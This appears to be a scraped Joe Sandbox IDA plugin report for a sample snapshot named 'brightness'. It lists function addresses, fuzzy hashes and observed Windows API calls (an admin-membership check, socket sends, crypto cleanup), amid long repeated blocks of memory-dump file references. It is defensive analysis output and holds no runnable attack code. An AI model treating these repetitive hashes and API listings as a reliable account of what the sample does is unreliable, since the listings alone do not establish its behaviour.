Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: CreateInitializeInstanceUninitialize
String ID:
API String ID: 948891078-0
Opcode ID: dfe5f142f5e74f9e807e2221774a3e7b6de87c865c5051ccb7e08085a0127dc5
Instruction ID: 33197baefbc4e359ff0d267a0499f1c7a0fca9c9939f5d8a5dc5dab8317a2089
Opcode Fuzzy Hash: dfe5f142f5e74f9e807e2221774a3e7b6de87c865c5051ccb7e08085a0127dc5
Instruction Fuzzy Hash: E921B679A50208EFCB04DF98D885E9EB7B5FF8D700F108199E619A73A0D771AE81CB50

Function 002DC3A0 Relevance: 4.5, APIs: 3, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(00000000,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 002DC3DB
CheckTokenMembership.ADVAPI32(00000000,?,00000000), ref: 002DC3F4
FreeSid.ADVAPI32(?), ref: 002DC409

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 7afc71538ac40fd3669617ed2b7216ac7dc776581fcaccaab28534f1c52ec4b4
Instruction ID: 3a0daaaa870640f45bb696ba242fcff1b3a7a19c819015ddfcf498eb03de6ccc
Opcode Fuzzy Hash: 7afc71538ac40fd3669617ed2b7216ac7dc776581fcaccaab28534f1c52ec4b4
Instruction Fuzzy Hash: 65014B34D04348FAEB11DBE8D899BAEBFB8AB18704F1040C8E500AA2C1D3B55A44CB91

Function 002D70F2 Relevance: 4.5, APIs: 3, Instructions: 41COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 002D716A
___crtGetLocaleInfoEx.LIBCMTD ref: 002D7187

Part of subcall function 002DF670: send.WS2_32(00000000,?,000000FF,002E0E0C), ref: 002DF683

closesocket.WS2_32(?), ref: 002D7193

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: InfoLocale___crtclosesocketsendsetsockopt
String ID:
API String ID: 1028938620-0
Opcode ID: 9cdff1af164dd3284f38a051cdeaa65ac02a74e1352337d601b0af65c9a7b10a
Instruction ID: 5a603db54dc4d8039dc24de0d401b43e2bfb0b86fa835e1269ba37341b6a50cd
Opcode Fuzzy Hash: 9cdff1af164dd3284f38a051cdeaa65ac02a74e1352337d601b0af65c9a7b10a
Instruction Fuzzy Hash: D0016775D24208B7EB00DF90EC85BED7778EF48701F104519F605AB280F7B99D548764

Function 002D70D9 Relevance: 4.5, APIs: 3, Instructions: 41COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 002D716A
___crtGetLocaleInfoEx.LIBCMTD ref: 002D7187

Part of subcall function 002DF670: send.WS2_32(00000000,?,000000FF,002E0E0C), ref: 002DF683

closesocket.WS2_32(?), ref: 002D7193

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: InfoLocale___crtclosesocketsendsetsockopt
String ID:
API String ID: 1028938620-0
Opcode ID: 04175813d5064b8ffed1e963bb39b6922dfae683022e2e166a9f3c0481c836a7
Instruction ID: 5a603db54dc4d8039dc24de0d401b43e2bfb0b86fa835e1269ba37341b6a50cd
Opcode Fuzzy Hash: 04175813d5064b8ffed1e963bb39b6922dfae683022e2e166a9f3c0481c836a7
Instruction Fuzzy Hash: D0016775D24208B7EB00DF90EC85BED7778EF48701F104519F605AB280F7B99D548764

Function 002DC031 Relevance: 3.0, APIs: 2, Instructions: 16encryptionCOMMON

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,002C9E2A,00000000), ref: 002DC06A
CryptDestroyHash.ADVAPI32(00000000,?,?,?,002C9E2A,00000000), ref: 002DC07A

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: 478cca74bb322f3081764977a860741db8a9508704f159bba6fb316ac2dc99b6
Instruction ID: da875a0835983716eb49b5b10d86b0b9f8ab0cf822e3b9690bc0c126467fac3c
Opcode Fuzzy Hash: 478cca74bb322f3081764977a860741db8a9508704f159bba6fb316ac2dc99b6
Instruction Fuzzy Hash: 25E01735911209EBCB15DFA4E888BADB778EB0470AF208186E905A22A0C3755EA4DB80

Function 002DC00C Relevance: 3.0, APIs: 2, Instructions: 16encryptionCOMMON

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,002C9E2A,00000000), ref: 002DC06A
CryptDestroyHash.ADVAPI32(00000000,?,?,?,002C9E2A,00000000), ref: 002DC07A

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: 3b76fa07f48fc475892db1a473860fb622f7fab5fcfd23e43f25259a26f49aa4
Instruction ID: da875a0835983716eb49b5b10d86b0b9f8ab0cf822e3b9690bc0c126467fac3c
Opcode Fuzzy Hash: 3b76fa07f48fc475892db1a473860fb622f7fab5fcfd23e43f25259a26f49aa4
Instruction Fuzzy Hash: 25E01735911209EBCB15DFA4E888BADB778EB0470AF208186E905A22A0C3755EA4DB80

Function 002DBFB6 Relevance: 3.0, APIs: 2, Instructions: 16encryptionCOMMON

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,002C9E2A,00000000), ref: 002DC06A
CryptDestroyHash.ADVAPI32(00000000,?,?,?,002C9E2A,00000000), ref: 002DC07A

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
